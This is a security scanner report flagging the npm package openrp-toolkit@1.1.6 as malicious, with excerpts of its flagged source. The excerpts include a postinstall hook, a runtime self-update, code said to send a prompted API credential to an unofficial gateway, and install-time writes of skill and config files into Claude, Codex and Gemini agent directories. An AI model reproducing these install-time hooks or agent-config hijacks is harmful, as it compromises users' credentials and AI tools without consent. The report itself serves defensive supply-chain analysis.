openrp-toolkit@1.1.6: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

openrp-toolkit@1.1.6: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node ./bin/cli.js sync --silent || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node ./bin/cli.js sync --silent || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

bin/release.jsView file

15const path = require('path'); L16: const { execSync } = require('child_process'); L17: const { validateBehaviorGraph } = require('./validator');

High

Child Process

Package source references child process execution.

bin/release.jsView on unpkg · L15

bin/generate_image_behavior.jsView file

9L10: const fs = require('fs'); L11: const path = require('path');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

bin/generate_image_behavior.jsView on unpkg · L9

mcp/server.jsView file

•Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration. mcp/server.js: const readline = require('readline'); fs.writeFileSync(AUTH_FILE, JSON.stringify(authState, null, 2), 'utf8'); headers['Authorization'] = `Bearer ${authState.token}`; path.join(os.homedir(), '.claude', 'skills', 'openrp'), path.join(os.homedir(), '.codex', 'skills', 'openrp') path.join(os.homedir(), '.claude', 'skills', 'openrp'), path.join(os.homedir(), '.codex', 'skills', 'openrp') const rl = readline.createInterface({

High

Credential Redirect Persistence

Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.

mcp/server.jsView on unpkg

bin/cli.jsView file

63function copyDirSync(src, dest) { L64: fs.mkdirSync(dest, { recursive: true }); L65: const entries = fs.readdirSync(src, { withFileTypes: true }); ... L74: } else { L75: fs.copyFileSync(srcPath, destPath); L76: count++; ... L104: L105: fs.mkdirSync(path.dirname(configPath), { recursive: true }); L106: fs.writeFileSync(configPath, JSON.stringify(config, null, 2), 'utf8'); L107: } ... L122: name: 'Google Antigravity / Gemini CLI', L123: detailPath: path.join(os.homedir(), '.agents', 'skills', 'openrp'),

Critical

Ai Agent Control Hijack

Source creates an unconsented AI-agent control surface through install-time mutation or a default unauthenticated remote skill channel.

bin/cli.jsView on unpkg · L63

691try { L692: execSync('npm install -g openrp-toolkit@latest', { stdio: 'inherit' }); L693: console.log(' ✓ npm package updated to latest release.');

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/cli.jsView on unpkg · L691

Source & flagged code

7 flagged

package.jsonView file

Lines 1-36json

1{

2 "name": "openrp-toolkit",

3 "version": "1.1.6",

4 "description": "Model Context Protocol (MCP) Server and AI Agent Skill Suite for OpenRP.ai",

5 "main": "mcp/server.js",

6 "bin": {

7 "openrp-toolkit": "bin/cli.js",

8 "openrp": "bin/cli.js"

9 },

10 "scripts": {

11 "start": "node ./bin/cli.js",

12 "serve": "node ./bin/cli.js serve",

13 "sync": "node ./bin/cli.js sync",

14 "update": "node ./bin/cli.js update",

15 "release": "node ./bin/release.js",

16 "postinstall": "node ./bin/cli.js sync --silent || true",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L16

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L16

17 "install-skill": "node ./bin/cli.js install",

18 "doctor": "node ./bin/cli.js doctor",

19 "auth": "node ./bin/cli.js auth",

20 "validate": "node ./bin/validator.js"

21 },

22 "files": [

23 "bin/",

24 "mcp/",

25 "skills/",

26 "examples/",

27 "README.md",

28 "LICENSE"

29 ],

30 "keywords": [

31 "openrp",

32 "mcp",

33 "model-context-protocol",

34 "ai-agent",

35 "gemini-cli",

36 "antigravity",

bin/release.jsView file

Lines 1-35javascript

1#!/usr/bin/env node

2

3/**

4 * OpenRP Toolkit: Local 1-Click Release & Sync Engine

5 *

6 * Performs 100% local release without relying on GitHub Actions:

7 * 1. Pre-flight static validation of all behavior blueprints

8 * 2. Auto-sync skills & MCP configs to all local AI assistants (~/.agents, Claude, Codex, Cursor)

9 * 3. Version bump (patch / minor / major)

10 * 4. Direct npm publishing (npm publish --access public)

11 * 5. Git commit, tag, and push

bin/generate_image_behavior.jsView file

Lines 1-29javascript

1#!/usr/bin/env node

2

3/**

4 * OpenRP Official Multimodal Image & RPG Story Generation Behavior

5 *

6 * 16-Node Full Visual Roleplay Pipeline:

7 * Ingestion -> Character RAG -> Dynamic Image Prompt Synthesizer -> LLM Roleplay Engine -> Image URL Generator -> Final Message Delivery

8 */

9

10const fs =

mcp/server.jsView file

•Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration. mcp/server.js: const readline = require('readline'); fs.writeFileSync(AUTH_FILE, JSON.stringify(authState, null, 2), 'utf8'); headers['Authorization'] = `Bearer ${authState.token}`; path.join(os.homedir(), '.claude', 'skills', 'openrp'), path.join(os.homedir(), '.codex', 'skills', 'openrp') path.join(os.homedir(), '.claude', 'skills', 'openrp'), path.join(os.homedir(), '.codex', 'skills', 'openrp') const rl = readline.createInterface({

High

Credential Redirect Persistence

Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.

mcp/server.jsView on unpkg

bin/cli.jsView file

Lines 43-83javascript

43 console.log(' auth Interactive setup for OpenRP authentication');

44 console.log(' doctor Run diagnostics on Node runtime, config, and OpenRP API');

45 console.log(' serve Launch stdio MCP server (used by MCP clients)');

46 console.log(' help, --help, -h Display this help documentation\n');

Lines 671-711javascript

671 const remoteVersion = await checkRemoteVersion();

672 if (remoteVersion) {

673 console.log(` Latest npm Version: v${remoteVersion}`);

674 } else {

675 console.log(` (Could not reach npm registry, checking local git repository...)`);

676 }

677

678 // If in git repo, pull latest git changes

679 const gitDir = path.join(PACKAGE_ROOT, '.git');

680 if (fs.existsSync(gitDir)) {

681 console.log('\n◇ Updating via Git Repository (git pull)...');

682 try {

683 execSync('git pull origin main', { cwd: PACKAGE_ROOT, stdio: 'inherit' });

684 console.log(' ✓ Git repository updated to latest commit.');

685 } catch (err) {

686 console.log(` ✗ Git pull skipped: ${err.message}`);

687 }

688 } else {

689 // Global npm update

690 console.log('\n◇ Updating via npm (npm install -g openrp-toolkit@latest)...');

691 try {

692 execSync('npm install -g openrp-toolkit@latest', { stdio: 'inherit' });

693 console.log(' ✓ npm package updated to latest release.');

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/cli.jsView on unpkg · L691

694 } catch (err) {

695 console.log(` ✗ npm update failed: ${err.message}`);

696 }

697 }

698

699 // Auto-sync skills to active platforms

700 console.log('\n◇ Synchronizing updated skill files to all detected agent platforms...');

701 runSync(false);

702

703 console.log('┌───────────────────────────────────────────────────────────────┐');

704 console.log('│ [SUCCESS] OpenRP Toolkit & Skills are up to date! │');

705 console.log('└───────────────────────────────────────────────────────────────┘\n');

706}

707

708// Route commands

709switch (command) {

710 case 'serve':

711 runMcpServer();